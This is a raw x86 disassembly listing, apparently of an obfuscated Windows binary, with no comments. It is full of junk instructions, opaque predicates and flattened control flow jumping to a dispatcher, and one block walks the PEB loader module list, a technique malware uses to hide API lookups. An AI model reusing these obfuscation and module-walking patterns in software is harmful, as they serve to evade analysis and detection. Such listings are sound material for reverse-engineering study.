ror esi, 0x67
not edx
bswap edi
rol esi, 0x84
not ebx
imul eax
sbb edi, 3
inc esi
imul ebx
neg edx
and edx, 0x24
sub edi, 0x81
rcr eax, 0x15
imul ebx
bswap edx
ror eax, 0x7d
imul eax
and esi, 0xd3
sbb edx, 0x1d
sbb ebx, 0x3f
neg edi
sbb edi, 0x24
rol eax, 0x69
add esi, 0xba
mov ebx, 0x6f
neg ebx
sub esi, 0x7b
mov ebx, 0x17
not eax
sbb esi, 0x8d
add ebx, 0xad
bswap eax
not ebx
neg ebx
rol eax, 0x28
neg edx
add ebx, 0xb0
imul edx
not esi
bswap edi
sbb edx, 0x38
sbb esi, 0x5f
sbb eax, 0xe1
inc esi
dec edx
rcl eax, 0xdb
imul edx
neg ebx
bswap edi
not edi
sub edi, 0xb6
bswap esi
rcr eax, 3
ror edx, 0x60
rol edx, 4
rcl esi, 0xec
rol ebx, 6
or edx, 0xb0
ror edi, 0xa5
rol edx, 0x1e
neg ebx
inc edi
rcl edi, 0x22
dec edi
mov eax, 0xad
rcl ebx, 0x4d
and edi, 0xaa
inc edx
inc ebx
rcr ebx, 0xa7
not edx
inc eax
imul esi
and edi, 0x74
neg eax
bswap esi
dec edi
add eax, 0x14
rcl edi, 0x15
not edx
or eax, 0x8c
add edi, 0x98
or ebx, 0xb1
rcr eax, 0x5a
sub edi, 0xce
rol ebx, 0x54
dec edx
rol esi, 0x2d
add eax, 0xb8
bswap ebx
or eax, 0x6c
inc esi
sub eax, 0xef
sbb esi, 0
rcl ebx, 0x2c
and eax, 0xa0
or eax, 0xf7
inc edi
imul ebx
add esi, 0x11
neg ebx
neg ebx
mov edi, 0xd9
bswap edx
sbb ebx, 8
add esi, 0x21
dec eax
and edx, 0x34
add ebx, 0xb
ror ebx, 1
bswap edx
dec edi
sbb eax, 0xa
not edi
ror edx, 0x42
mov edi, 0x28
imul ebx
dec edi
neg edi
imul esi
not eax
rol edi, 0x19
neg eax
not eax
sub ebx, 0x1b
imul esi
inc esi
inc edi
sub esi, 0x86
neg esi
inc edx
imul esi
rol ebx, 0xeb
dec edx
dec edi
neg esi
add eax, 0x80
inc eax
imul esi
not eax
add edx, 0xb6
rcr eax, 0x63
rcl edx, 5
ror ebx, 0xf5
not ebx
rol ebx, 0x6f
rcr esi, 0x3e
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edi, ecx
and edi, 0x2c209a8
mov esi, ecx
and esi, 0x9428f007
mov edx, eax
and edx, 0x69150650
and eax, 0xaf5d4a89
or edi, edx
xor edi, 0x2c209a8
or esi, edi
mov edx, esi
not edx
and esi, 0xa0abc64a
and edx, 0x5f5439b5
or esi, edx
mov edx, esi
xor edx, 0x9580900
xor esi, 0x4830244
and esi, 0xc6a7c2f7
and edx, 0x39583d08
or edx, esi
mov esi, edx
xor esi, 0x29580808
xor edx, 0xc6a7c2f7
mov edi, edx
or edx, ecx
and ecx, 0x50a2b576
and edi, 0x50a2b576
and esi, 0xaf5d4a89
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0xd2fb29b4
or edx, eax
mov eax, edx
not eax
and edx, 0xc5015170
and eax, 0x3afeae8f
or edx, eax
cmp edx, 0xc5015170
sete dl
cmp dword [0x460980], 0xa
setge ah
setl al
mov cl, ah
mov ch, ah
xor al, dl
or cl, dl
xor ch, dl
and dl, ah
xor cl, 1
and ch, ah
or cl, dl
or al, ch
mov ah, al
mov edx, ecx
not ah
xor dl, 1
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x5a4f0641
cmovne ecx, esi
test al, al
mov esi, 0x5a4f0641
jmp 0x410219
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xfffffffe
mov edx, eax
and eax, 1
and edx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xb22b8059
and eax, 0x1042023
mov edx, ecx
and edx, 0x4dd47fa6
or ecx, 0x58b01410
or esi, edx
and ecx, 0xdeb1d718
mov edx, esi
xor esi, 0x48901400
xor edx, 0x200a0040
or eax, ecx
or esi, 0x8601c308
and edx, 0x204a08c4
and esi, 0xdeb1d718
or edx, esi
mov esi, 0x9b7bd982
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x15bff4d8
and ecx, 0xea400b27
or eax, ecx
mov ecx, eax
xor ecx, 0x2d010800
xor eax, 0x92ba17f3
mov edx, eax
and edx, 0xc276f2cf
and ecx, 0x3d890d30
or ecx, edx
xor ecx, 0xc276f2cf
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x460980], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
xor dl, ch
and dh, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0xc0cda7ba
cmovne eax, esi
test dl, dl
mov edx, 0xc0cda7ba
jmp 0x4109c2
inc esi
inc edi
imul eax
neg esi
sub eax, 0x22
sub edx, 0x13
inc eax
bswap eax
not esi
not edi
or edx, 0xd6
bswap edi
and ebx, 0x28
rcl ebx, 0x47
imul eax
sbb esi, 0x5b
neg esi
rcl esi, 6
bswap edi
imul edi
imul esi
not ebx
sbb edi, 0x49
rcl edx, 0x8d
add eax, 0xe3
not edx
rol edx, 0x59
and edx, 0xde
bswap edx
inc eax
sub edx, 0x41
ror ebx, 0x42
inc esi
or esi, 0x7a
sub esi, 0x82
ror esi, 0x71
rcr ebx, 0xa1
inc edx
neg ebx
rol ebx, 8
bswap ebx
neg edx
ror ebx, 0x18
rcr edx, 0x85
bswap edx
bswap edi
sbb edx, 0x25
rcr esi, 0x4d
not edx
rcr edx, 0xcc
bswap edx
rol eax, 0x4e
rol edx, 0x3e
inc edx
inc esi
dec esi
add eax, 0xad
bswap edx
rcl edi, 0x8e
neg edx
inc esi
rol ebx, 0x42
not edi
imul ebx
not edi
add eax, 0xba
neg esi
bswap ebx
not ebx
add esi, 0x35
not edx
sub eax, 0x37
add edx, 0x68
bswap ebx
mov esi, 0x52
inc eax
bswap edi
and edx, 0x8e
neg ebx
not edx
not edi
and edx, 0x6f
rcr edx, 0xc0
neg eax
imul eax
imul edi
ror edx, 0x6f
rcl edi, 0x6b
or eax, 0x9b
not edx
sbb ebx, 0x2c
dec edi
or edi, 0xe5
imul eax
add esi, 0xfe
rol edi, 0xd5
and eax, 0x9d
not eax
ror esi, 0x4f
dec eax
rol esi, 0xe3
inc edi
or eax, 0x10
mov esi, 0x5d
inc ebx
rol ebx, 0x81
add eax, 0xe7
neg ebx
not ebx
rol ebx, 8
neg edx
rcr edx, 0x67
inc eax
mov edx, 0x44
mov esi, 0x94
rol edi, 0xe7
rcr eax, 0x45
neg esi
add eax, 0x30
sbb esi, 0xb4
sbb edi, 0xa6
and esi, 0x72
imul esi
bswap esi
or eax, 0xf
ror eax, 0x9d
bswap edx
mov esi, 0x28
not ebx
ror edi, 0x14
ror esi, 0x47
or eax, 0xfd
neg esi
dec esi
rcr eax, 0x2f
ror edi, 0xa2
and edx, 0xa1
rcr edi, 0x4a
bswap esi
sub edx, 0x44
sub ebx, 0x35
ror esi, 0x2d
ror ebx, 0x6a
bswap eax
inc ebx
rcl ebx, 0xfe
dec edx
add edi, 4
inc eax
dec edi
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x64]
mov eax, dword fs:[0x30]
mov ecx, dword [ebp - 0x64]
mov dword [ecx], eax
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x64]
mov eax, dword [eax]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x80]
mov dword [ecx], eax
mov eax, dword [ebp - 0x84]
mov eax, dword [ebp - 0x80]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x84]
add eax, 0xfffffff8
mov dword [ecx], eax
rcr edi, 0x42
neg esi
rol esi, 0x31
ror edi, 0x80
bswap esi
inc eax
rol eax, 0x24
rol edi, 0x12
rcr esi, 0xee
dec edi
mov eax, 0x27
bswap edx
not ebx
dec esi
inc edx
neg edx
sub edx, 0x1c
rcl edx, 0x87
add eax, 0x82
and edx, 0x9b
not eax
mov edx, 0x82
and eax, 0xd4
rol edx, 0x8c
neg esi
not edi
dec edx
rol edx, 0x48
rcl eax, 9
rol edx, 0x5f
add edx, 0xf7
rol ebx, 0x5e
not eax
not edi
or ebx, 0x45
sub edi, 0x38
dec eax
and edi, 0x37
bswap edi
and edi, 0xaa
not ebx
not ebx
not ebx
bswap edx
sbb eax, 0xe8
bswap eax
rcl ebx, 0x64
and edx, 0x4e
dec esi
bswap eax
or edi, 0xa9
neg eax
inc eax
bswap ebx
mov edx, 0xed
ror eax, 0xcf
rcl edi, 0x3b
bswap edi
dec edx
dec ebx
and edx, 0xd1
ror edx, 0x7a
inc edi
dec eax
imul edx
bswap esi
not esi
rcr eax, 0x27
neg eax
and edi, 0x1a
inc ebx
inc eax
mov edx, 0x57
ror ebx, 0x96
or edx, 0xcb
inc edx
mov edi, 0x53
ror edi, 0xe4
sbb ebx, 0xa8
neg esi
rcl esi, 0x32
rcl esi, 0xcf
mov edi, 0x4d
not ebx
not edx
and edx, 0x47
or ebx, 0x95
and ebx, 0x82
ror edx, 0x58
rol eax, 0x87
neg edx
rcr edi, 0xce
dec edx
ror esi, 0x4c
bswap esi
sub eax, 0xb4
inc esi
neg esi
or ebx, 0xb8
dec eax
rcl edx, 0x9a
neg esi
rcr edi, 0x8e
dec esi
dec ebx
or edx, 0x5e
imul edi
dec eax
rcr edx, 0x81
not eax
rcl edx, 0x84
not eax
dec edi
and eax, 0xfc
ror ebx, 0xb5
imul ebx
and edx, 0x8e
sub edi, 0x5e
rcr edx, 0xa3
inc esi
rol edi, 0x9d
bswap ebx
dec esi
inc ebx
add edx, 0xd4
rcl ebx, 0xdc
rcl eax, 0x74
neg ebx
rcr eax, 0x2d
not eax
neg esi
bswap esi
imul edx
rcr ebx, 0xde
sub eax, 0xeb
sub edi, 0xb1
not edi
rcl esi, 0x39
rcr edx, 0xe3
bswap ebx
add esi, 0xa8
add edi, 0x35
bswap esi
dec eax
inc edx
rcl ebx, 0xb9
imul edx
rol edi, 0x6e
mov edx, 0x57
neg esi
mov edx, dword [ebp - 0x1c]
mov dword [edx], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x64]
mov eax, 0x95d56f6b
jmp 0x402900
mov eax, 0xc75c7802
jmp 0x402900
cmp byte [ebp - 0x9f], 0
mov eax, 0xabd0f80e
mov ecx, 0x817e1a99
cmovne eax, ecx
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
not edx
or eax, 0xd3527907
mov edi, edx
mov esi, eax
and esi, 0xd7a52f15
and edi, 0x280880e8
and edx, 0x34191752
or edi, esi
mov esi, ecx
xor esi, 0x2cad86f8
and esi, ecx
and ecx, 0xcbe6e8ad
mov ebx, esi
not ebx
and esi, 0x285ad0ea
or ecx, edx
or eax, ebx
and ebx, 0xd7a52f15
or esi, ebx
not eax
xor esi, edi
or eax, esi
not esi
and esi, 0xd3527906
and eax, 0x2cad86f9
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0x45001318
and esi, 0xbaffece7
or esi, edx
mov edx, ecx
xor edx, 0x8ae6e8a5
xor ecx, 0x34191752
or eax, ecx
and ecx, 0x45001318
and edx, 0xbaffece7
or edx, ecx
not eax
xor edx, esi
mov esi, 0xe945d348
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb9702db8
and ecx, 0x468fd247
or eax, ecx
xor eax, 0xb9702db8
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
or ch, dl
xor cl, ah
xor cl, 1
or cl, al
or al, ah
mov edx, eax
or al, ch
xor dl, ch
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xc3103d25
cmovne ecx, esi
test al, 1
mov eax, 0xc3103d25
jmp 0x412955
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
xor ecx, 0x726c6490
mov eax, edx
and eax, 0xc3861969
and ecx, edx
not edx
and edx, 0x3c79e696
mov edi, ecx
not edi
and ecx, 0x5aad0ebf
or eax, edx
mov edx, eax
xor eax, 0x30686490
xor edx, 0x42040000
mov esi, eax
or esi, 0x85129140
or eax, edi
and edi, 0xa552f140
and edx, 0x522c0490
and esi, 0xa552f140
or ecx, edi
not eax
or edx, esi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0x8d939b6f
and eax, 0x726c6490
or eax, ecx
mov ecx, eax
xor ecx, 1
mov edx, eax
not edx
and ecx, eax
and edx, 0xaf9ebeb9
and eax, 0x50614146
or eax, edx
xor eax, 0x50614147
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc9bcc0b
and ecx, 0xf36433f4
or eax, ecx
xor eax, 0xc9bcc0b
setne cl
sete ah
cmp dword [0x460980], 0xa
mov edx, ecx
setge ch
xor cl, ch
or dl, ch
or ch, ah
and cl, ah
mov eax, edx
xor cl, 1
xor al, 1
mov ah, cl
or cl, ch
xor ah, ch
xor cl, 1
or cl, ah
mov ah, cl
and cl, dl
xor ah, 1
and al, ah
or ah, dl
mov edx, 0xdc848c0
or al, cl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xd085d712
cmovne ecx, edx
test ah, 1
mov edx, 0xd085d712
cmovne edx, ecx
test al, al
jmp 0x4028ed
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, 0x528090e7
jmp 0x402900
cmp byte [ebp - 0x9b], 0
mov eax, 0xd428b9f5
mov ecx, 0xba0576f7
cmovne eax, ecx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0x29fd48c6
and edi, 0xd602b738
and edx, 0x4c5c2a9b
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0xb3a3d564
mov ebx, esi
not ebx
and esi, 0xd602b739
or eax, edx
or ecx, ebx
and ebx, 0x29fd48c6
xor eax, 0xb3a3d564
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, 0x6daef7dc
not ecx
or eax, ecx
xor eax, 0xffffffff
setne al
sete dl
cmp dword [0x460980], 0xa
setl ch
setge ah
mov cl, ch
and al, ch
xor ch, dl
and ah, dl
or cl, dl
or al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ch, cl
mov edx, ecx
xor ch, 1
and dl, ch
mov ah, ch
xor dl, 1
xor ah, dl
or dl, ch
xor dl, 1
or dl, ah
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xfaf79bc3
cmovne eax, esi
test dl, 1
mov edx, 0xfaf79bc3
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov ecx, dword [0x460984]
mov edi, 0xe945d348
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x46fad082
and ecx, 0xb9052f7d
or eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x89010e35
xor esi, 0x46fad082
xor eax, 0x7874cd1c
and eax, esi
and ecx, 0x89f34e35
and esi, 0x760cb1ca
or esi, ecx
mov ecx, esi
xor ecx, 0x760cb1ca
xor esi, 0x1c14200
mov edx, ecx
and edx, 0x3e8e1d9e
or ecx, 1
and esi, 0x3c5c382
or edx, eax
not eax
and ecx, 0xfc3a3c7d
or ecx, esi
and eax, 0xc171e260
and edx, 0x3e8e1d9f
mov esi, 0xa965a896
or edx, eax
xor ecx, 0xfc3a3c7d
or ecx, edx
mov eax, ecx
xor eax, 0x70c03766
and eax, ecx
not ecx
and ecx, 0x70c03766
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xff9f49e7
and ecx, 0x60b618
or eax, ecx
mov ecx, eax
xor ecx, 0x2177280
xor eax, 0x60800154
and eax, 0xedc80d55
and ecx, 0x1237f2aa
or ecx, eax
mov eax, ecx
xor eax, 0x260a2
xor ecx, 0x41400d50
and ecx, 0x53759f58
and eax, 0xac8a60a7
or eax, ecx
xor eax, 0xac8a60a7
sete ah
setne dl
cmp dword [0x460980], 0xa
mov cl, ah
setl ch
setge al
or cl, ch
and dl, ch
xor ch, ah
and cl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
or al, dl
mov edx, ecx
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
not ah
xor cl, 1
and cl, ah
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xe945d348
cmovne eax, esi
test dl, dl
cmove eax, edi
test cl, 1
cmovne eax, esi
jmp 0x402900
mov eax, 0x29effbe6
jmp 0x402900
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0x40], eax
push eax
mov eax, esp
mov dword [ebp - 0x28], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
push eax
mov eax, esp
mov dword [ebp - 0x2c], eax
push eax
mov eax, esp
mov dword [ebp - 0x58], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x34], eax
push eax
mov eax, esp
mov dword [ebp - 0x70], eax
push eax
mov eax, esp
mov dword [ebp - 0x5c], eax
push eax
mov eax, esp
mov dword [ebp - 0x30], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0x74], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0x48], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0x4c], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0x38], eax
push eax
mov eax, esp
mov dword [ebp - 0x60], eax
push eax
mov eax, esp
mov dword [ebp - 0x20], eax
push eax
mov ecx, dword [0x460984]
mov eax, esp
mov dword [ebp - 0x64], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xea5d86a6
mov edx, ecx
and edx, 0x15a27958
and ecx, 0x5a98aa2
or esi, edx
mov edx, eax
xor edx, 0xfffffffe
and edx, eax
xor esi, 0xea5d86a6
and eax, 0xfa56755d
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xca955a80
xor eax, 0xfa56755d
and esi, 0x356aa57f
or edx, esi
mov esi, 0xb303e2c1
xor edx, 0xca955a80
or eax, edx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x460980], 0xa
setl al
setge ch
mov cl, al
and ch, dl
or dl, al
xor al, ah
and cl, ah
mov ah, dl
xor ah, al
or al, dl
or cl, ch
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x9dca1e8f
cmovne ecx, esi
test al, al
mov esi, 0x9dca1e8f
mov eax, ecx
cmovne eax, esi
test dl, dl
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
mov edx, dword [ebp - 0x6c]
add ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov eax, 0x663687d0
jmp 0x402900
mov eax, dword [ebp - 0xc8]
mov eax, dword [0x460984]
mov edi, 0x90fcc4e7
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x89d3d742
mov eax, ecx
and eax, 0x1910742
and edx, ecx
not ecx
and ecx, 0x8842d000
or eax, ecx
xor eax, 0x1910742
or eax, edx
not edx
and edx, 0x762c28bd
and eax, 0x89d3d742
or eax, edx
mov ecx, eax
xor ecx, 0xb99a6d1c
mov edx, eax
and edx, 0xa33d04df
and ecx, eax
not eax
and eax, 0x5cc2fb20
or edx, eax
mov eax, edx
xor eax, 0xa33d04df
xor edx, 0x10c0a100
mov esi, eax
and esi, 0xb99a6d1c
and edx, 0x92cda516
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xc44f7cfe
and esi, 0x3bb08301
or ecx, esi
mov esi, eax
and esi, 0x6d325ae9
and eax, 1
or esi, edx
xor ecx, 0x7dd511e3
mov edx, esi
xor edx, 0x10c88517
xor esi, 0x25105a80
or eax, edx
and esi, 0xa7157a80
and eax, 0x58ea857f
or eax, esi
mov esi, 0xad8f07e7
xor eax, 0x58ea857f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86b31b13
and ecx, 0x794ce4ec
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x73d04e06
and ecx, 0x8c2fb1f9
or eax, ecx
mov ecx, eax
xor ecx, 0x214220a
xor eax, 0x35631114
and ecx, 0xc214660b
and eax, 0x3deb99f4
or eax, ecx
xor eax, 0x3deb99f4
setne al
sete dl
cmp dword [0x460980], 0xa
mov ch, al
setl cl
setge ah
and ch, ah
and cl, dl
xor al, ah
or cl, ch
xor cl, 1
or cl, ah
xor cl, 1
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x90fcc4e7
cmovne edx, esi
test al, 1
mov eax, edx
cmovne eax, edi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x6c]
mov dword [eax], ecx
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x8f033037
and ecx, 0x70fccfc8
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x707c8100
xor ecx, 0x8f033037
xor eax, 0x8f033036
and eax, ecx
and edx, 0x7d7e9126
and ecx, 0x82816ed9
or ecx, edx
xor ecx, 0x82816ed8
or ecx, eax
mov eax, ecx
andn edx, ecx, ecx
not ecx
and eax, 0x658326d0
and ecx, 0x9a7cd92f
or eax, ecx
mov ecx, eax
xor ecx, 0x600124c0
xor eax, 0x9a7cd92f
mov esi, eax
and esi, 0x9dee5a19
and ecx, 0x6211a5e6
or ecx, esi
mov esi, edx
not esi
and edx, 0x6211a5e6
or eax, esi
and esi, 0x9dee5a19
or edx, esi
not eax
mov esi, 0xa042b270
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xdaae70ce
mov edx, ecx
and edx, 0x25518f31
or eax, edx
xor eax, 0xdaae70ce
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x460980], 0xa
mov ch, dl
setl ah
setge cl
xor al, ah
xor ch, cl
or cl, dl
or dl, ah
and al, ah
xor cl, 1
mov ah, dl
xor al, 1
or cl, ch
xor ah, al
or al, dl
xor cl, 1
xor al, 1
or cl, ch
or al, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x48d1d4a5
cmovne ecx, esi
test al, 1
mov eax, 0x48d1d4a5
cmove ecx, esi
test dl, 1
cmove ecx, eax
mov eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x60]
mov dword [eax], 4
mov eax, 0xee30a084
jmp 0x402900
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xb4]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x48]
mov edx, dword [edx]
add eax, dword [ecx + edx*4]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*4]
mov word [ebp - 0xd6], ax
mov eax, 0x1c87ba4d
jmp 0x402900
bswap eax
rol ebx, 0x5f
inc esi
add eax, 0x92
bswap edi
not esi
sub esi, 0xba
neg edi
mov edx, 0xca
imul edi
or eax, 2
imul edi
bswap esi
bswap edx
dec edx
rcl edi, 0xb
mov eax, 0x90
sbb esi, 0x2a
bswap eax
rcr eax, 0x29
bswap esi
neg esi
not edi
imul esi
mov eax, 0x65
and edi, 0xbc
or eax, 0x40
dec edi
bswap ebx
mov ebx, 0x4b
add edi, 0xba
sub ebx, 0x9c
bswap edi
not edx
and ebx, 0xfb
neg ebx
inc ebx
imul edx
rcr ebx, 0x42
bswap eax
dec edi
or edi, 0x8c
dec edx
rcr eax, 0xe0
bswap edx
mov esi, 0x97
dec eax
rcl eax, 0x54
sbb edx, 0xa2
imul edi
neg edi
add ebx, 0x62
rcl ebx, 0xd3
add ebx, 0xe
or ebx, 0xb6
sbb esi, 0xa8
and esi, 0xb4
rcr ebx, 0x97
neg eax
rol edi, 0x97
and edi, 0x8b
rol edx, 0x79
add eax, 0x2f
mov edi, 0xd1
imul edi
not esi
not edx
inc edi
rol eax, 0xd1
sbb esi, 0xee
sbb edx, 0x58
sbb edx, 0x62
add edx, 0x2f
not edi
rol eax, 0x8d
sbb edx, 0x86
inc edi
mov edx, 1
rol eax, 0x68
neg ebx
neg eax
dec ebx
imul edi
mov esi, 0xff
sbb edi, 0xa7
imul edx
rcl eax, 0x61
not ebx
rol eax, 0xc4
and esi, 0xce
not edi
and esi, 0xe8
sbb eax, 0xd2
bswap edi
ror eax, 0x48
not esi
sub esi, 3
mov edi, 0x40
mov ebx, 0x92
dec esi
sbb ebx, 0x66
imul edx
sub edx, 0x2f
rcl edx, 0x6f
and edi, 0xd7
dec edx
inc ebx
bswap ebx
dec ebx
bswap eax
or eax, 0xb
dec eax
or edx, 0xd2
add edx, 0x23
sbb eax, 0x38
add eax, 0xe1
and edx, 0x1d
or eax, 0xfc
imul esi
rol ebx, 0xd
imul ebx
dec ebx
ror ebx, 0x33
mov ebx, 0xe0
bswap edi
sub edi, 0x79
not esi
bswap edi
neg edx
not esi
neg edi
bswap edx
not ebx
dec edi
sbb esi, 0x39
mov edx, 0x34
imul esi
sbb ebx, 0x3f
neg edi
dec ebx
and eax, 0x78
rol ebx, 0x19
imul edx
bswap edx
not edi
dec edx
sub ebx, 0x60
neg edi
and esi, 0xe9
sbb eax, 0x87
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x5c]
mov eax, 0x74f5a47e
jmp 0x402900
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov eax, 0x4121ee35
jmp 0x402900
mov eax, dword [0x460984]
mov esi, 0x6e77c867
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x81c127f4
mov eax, ecx
and eax, 0x4001b4
and edx, ecx
not ecx
and ecx, 0x81812640
or eax, ecx
xor eax, 0x4001b4
or eax, edx
not edx
and edx, 0x7e3ed80b
and eax, 0x81c127f4
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xcf67b7dd
and eax, 0x30984822
or edx, eax
xor edx, 0xcf67b7dd
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x1119745b
and eax, 0xeee68ba4
or ecx, eax
mov eax, ecx
xor eax, 0x1093452
xor ecx, 0x20028820
and ecx, 0x3012c829
and eax, 0xcfed37d6
or eax, ecx
xor eax, 0xcfed37d6
sete al
setne dl
cmp dword [0x460980], 0xa
setge cl
setl ah
or al, cl
or ah, dl
mov ch, cl
xor ah, 1
xor al, 1
or ch, dl
or al, ah
mov cl, ch
mov edx, eax
not cl
and al, ch
xor dl, 1
and cl, dl
or dl, ch
or cl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xcff11a27
cmovne edx, esi
test cl, cl
cmove edx, esi
test al, 1
mov eax, 0xcff11a27
jmp 0x412b78
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
or esi, 0x8a001084
and ecx, 0x61494902
mov edx, eax
or edx, 0x10262228
and esi, 0x9a2632ac
and eax, 0x4908451
and edx, 0x9a2632ac
or eax, esi
or ecx, edx
xor ecx, eax
mov eax, ecx
not eax
and ecx, 0x2d3d7c1
and eax, 0xfd2c283e
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0xe99a8e47
xor ecx, 0xc0adf70d
xor esi, 0x166571b8
and ecx, eax
mov ebx, esi
and ebx, 0x20040900
and esi, 0xb4905abb
mov edx, ecx
not edx
and ecx, 0xe44c8d11
mov edi, edx
and edi, 0x1bb372ee
or ecx, edi
mov edi, eax
or edi, 0xd6c886b5
or edx, edi
and edi, 0x1bb372ee
or ebx, edi
not edx
xor ebx, ecx
or edx, ebx
mov ecx, edx
not ecx
and edx, 0xd6c886b4
